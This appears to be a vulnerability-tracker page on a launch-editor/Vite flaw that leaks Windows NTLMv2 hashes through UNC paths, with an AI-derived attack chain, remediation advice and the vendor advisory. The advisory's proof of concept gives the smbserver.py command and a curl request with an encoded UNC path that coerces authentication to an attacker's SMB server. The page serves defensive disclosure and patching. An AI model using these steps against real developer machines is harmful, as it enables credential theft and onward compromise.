Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker deploys SMB server (Impacket/Responder)
-
DeliveryCraft malicious webpage with SSRF fetch to localhost dev server
-
ExploitSocial-engineer developer to visit malicious page
-
InstallBrowser issues request to /__open-in-editor?file=\\attacker-host\share
-
C2launch-editor passes UNC path to OS without validation
-
ExecuteWindows initiates NTLM authentication to attacker SMB server
-
ImpactNTLMv2 hash captured for offline cracking
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V5 - File Handling File name/path control
|
| Exploitation Conditions | All of the following conditions must be simultaneously true for exploitation to succeed. First, the victim must be running Windows with NTLM authentication enabled - NTLM is on by default in all current Windows versions, but Microsoft recommends disabling it. Second, a development server using launch-editor middleware, most commonly Vite's dev server, must be actively running on the victim's machine with its |
| Impact | Real-world risk is primarily constrained to developer workstations running Windows with active local development servers, making this a targeted threat against software developers rather than a mass-exploitation vector. No formal CVSS score was assigned by NVD at time of analysis; the independently assessed vector CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N reflects multiple coincident conditions required (Windows OS, NTLM enabled, dev server actively running, attacker knowledge of the middleware URL, and victim interaction with a malicious link). The confidentiality impact is rated High because NTLMv2 hashes, once cracked offline using tools such as Hashcat, yield plaintext credentials that could provide access to internal developer systems, VPNs, code repositories, and CI/CD infrastructure - a serious supply-chain risk. EPSS data is unavailable for this CVE. KEV status is unconfirmed. However, a functional PoC using widely available tools exists and is documented in the advisory, materially lowering the exploitation barrier to any attacker capable of social-engineering a developer. The 'RCE' tag present in the source metadata is a mislabeling - the actual impact is credential disclosure, not remote code execution, and security teams should not treat this as a code-execution risk based on that tag. The primary mitigating factor is that the attack requires the victim to be actively running a dev server and to visit an attacker-controlled page, making opportunistic mass exploitation unlikely. |
| Exploit ScenarioDerived | A developer running a Vite dev server on Windows receives a phishing link or visits a malicious third-party site; the attacker's page issues a JavaScript fetch to |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 15, 2026
NTLMv2 hash disclosure in the launch-editor NPM package (v2.14.0 and earlier) exposes developer credentials on Windows systems when an attacker-controlled UNC path is passed to the package's file-opening HTTP middleware. The attack is achievable by tricking a developer running a local development server such as Vite into visiting an attacker-controlled webpage that issues a cross-origin request to the local __open-in-editor endpoint with a crafted \\attacker-host\share UNC path, whereupon Windows automatically initiates NTLM authentication without any user prompt, transmitting the victim's NTLMv2 hash to the attacker's SMB server. Publicly available exploit code confirmed via the advisory PoC using Impacket smbserver.py and Responder lowers the barrier significantly; no active exploitation has been confirmed via CISA KEV at time of analysis.
RemediationAI
The primary remediation is to upgrade launch-editor to version 2.14.1 or later, which introduces UNC path validation to block this attack class. For Vite users, upgrading to the fixed Vite release automatically pulls in the patched launch-editor: use Vite 6.4.3 for the 6.x branch, Vite 7.3.5 for the 7.x branch, or Vite 8.0.16 for the 8.x branch. Full advisory details are at https://github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3. Where immediate patching is not possible, the most effective OS-level compensating control is to disable NTLM on developer workstations per Microsoft's guidance at https://techcommunity.microsoft.com/blog/windows-itpro-blog/advancing-windows-security-disabling-ntlm-by-default/4489526; this blocks the authentication coercion entirely but may break legacy application compatibility requiring prior testing. A network-level control is to block outbound SMB traffic (TCP 445) from developer machines to untrusted external hosts via host-based or perimeter firewall rules, which prevents the NTLM handshake from reaching an attacker's server without fixing the root path-validation flaw. Additionally, the dev server's __open-in-editor middleware should never be exposed beyond localhost; binding the dev server to 127.0.0.1 and enforcing this with a host firewall reduces the attack surface even if the package remains temporarily unpatched, since it prevents the attacker from directly reaching the endpoint from outside the local machine (though the SSRF-via-browser vector still applies).
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The launch-editor package (pkg:npm/launch-editor) is a development-time utility that opens source files in editors from within a running browser application; Vite and similar tools expose it via an HTTP middleware endpoint such as /__open-in-editor. The root cause is CWE-73 (External Control of File Name or Path): the package accepts the file query parameter value and passes it directly to the editor-opening logic without validating or blocking Windows UNC paths of the form \\host\share. On Windows, any attempt to access a UNC path causes the OS to initiate an SMBv2 authentication handshake to the specified host, automatically sending the logged-in user's NTLMv2 challenge-response hash - a known Windows authentication coercion technique exploited by tools such as Responder and Impacket. Because NTLM is enabled by default in Windows (despite Microsoft's ongoing phase-out guidance), the hash is transmitted silently and without user warning. The vulnerability propagates through the dependency tree to any project bundling launch-editor, most notably Vite (pkg:npm/vite) and vite-plus (pkg:npm/vite-plus), making developer workstations the primary attack surface.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
AV:N for network-initiated attack via HTTP; AC:H for multiple required coincident conditions (Windows, NTLM enabled, dev server running, attacker-known URL); UI:R because victim must visit attacker's page; C:H for NTLMv2 hash disclosure; no integrity or availability impact.
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Primary rating from Vendor (https://github.com/vitejs/launch-editor).
CVSS VectorVendor: https://github.com/vitejs/launch-editor
Lifecycle Timeline
1DescriptionCVE.org
Summary
The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.
Impact
If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:
- using Windows
- NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
- the user accesses the attackers website that sends request to a middleware using
launch-editor - the server that has the middleware using
launch-editoris running - the attacker knows the URL for that server and the middleware
This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.
Details
launch-editor accepts file paths without validating or restricting Windows UNC paths such as:
\\attacker-host\shareOn Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.
If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.
The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.
PoC
From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.
First, let's create a directory to serve as an SMB share.
mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txtThen, start the SMB server.
$ sudo smbserver.py -smb2support -debug share /tmp/dataNow, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).
Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.
curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.
<img width="1916" height="277" alt="2026-01-30_10-58" src="https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368" />
Blast Radius
ecosystem impact- 21 npm packages depend on launch-editor (8 direct, 14 indirect)
- 34 npm packages depend on vite (30 direct, 4 indirect)
- 11 npm packages depend on vite-plus (9 direct, 2 indirect)
Ecosystem-wide dependent count for version 2.14.1 and other introduced versions.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond
Same weakness CWE-73 – External Control of File Name or Path
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| openSUSE Leap 16.0 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP7 | Not-Affected |
| SUSE Linux Enterprise Server 16.0 | Not-Affected |
| SUSE Linux Enterprise Server 16.0 | Not-Affected |
| SUSE Linux Enterprise Server 16.1 | Not-Affected |
| SUSE Linux Enterprise Server for SAP applications 16.0 | Not-Affected |
| SUSE Linux Enterprise Server for SAP applications 16.0 | Not-Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Not-Affected |
| SUSE Manager Client Tools 15 | Not-Affected |
| SUSE Manager Client Tools for SLE 15 | Not-Affected |
| SUSE Multi-Linux Manager Client Tools for SLE 15 | Not-Affected |
| openSUSE Leap 16.0 | Not-Affected |
| openSUSE Leap 16.0 | Not-Affected |
| SUSE Manager Proxy LTS 4.3 | Not-Affected |
| SUSE Manager Proxy Module 4.3 | Not-Affected |
| SUSE Enterprise Storage 6 | Not-Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Not-Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Not-Affected |
| SUSE Manager Proxy Module 4.1 | Not-Affected |
| SUSE Manager Proxy Module 4.2 | Not-Affected |
| openSUSE Leap 15.3 | Not-Affected |
| openSUSE Leap 15.4 | Not-Affected |
| openSUSE Leap 15.5 | Not-Affected |
| openSUSE Leap 15.6 | Not-Affected |
| SUSE Multi Linux Manager Tools SLE-15 | Not-Affected |
| ses/7.1/ceph/prometheus-server ses/7/ceph/prometheus-server suse/multi-linux-manager/5.2/x86_64/monitoring-prometheus | Not-Affected |
EUVD-2026-38299
GHSA-v6wh-96g9-6wx3
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB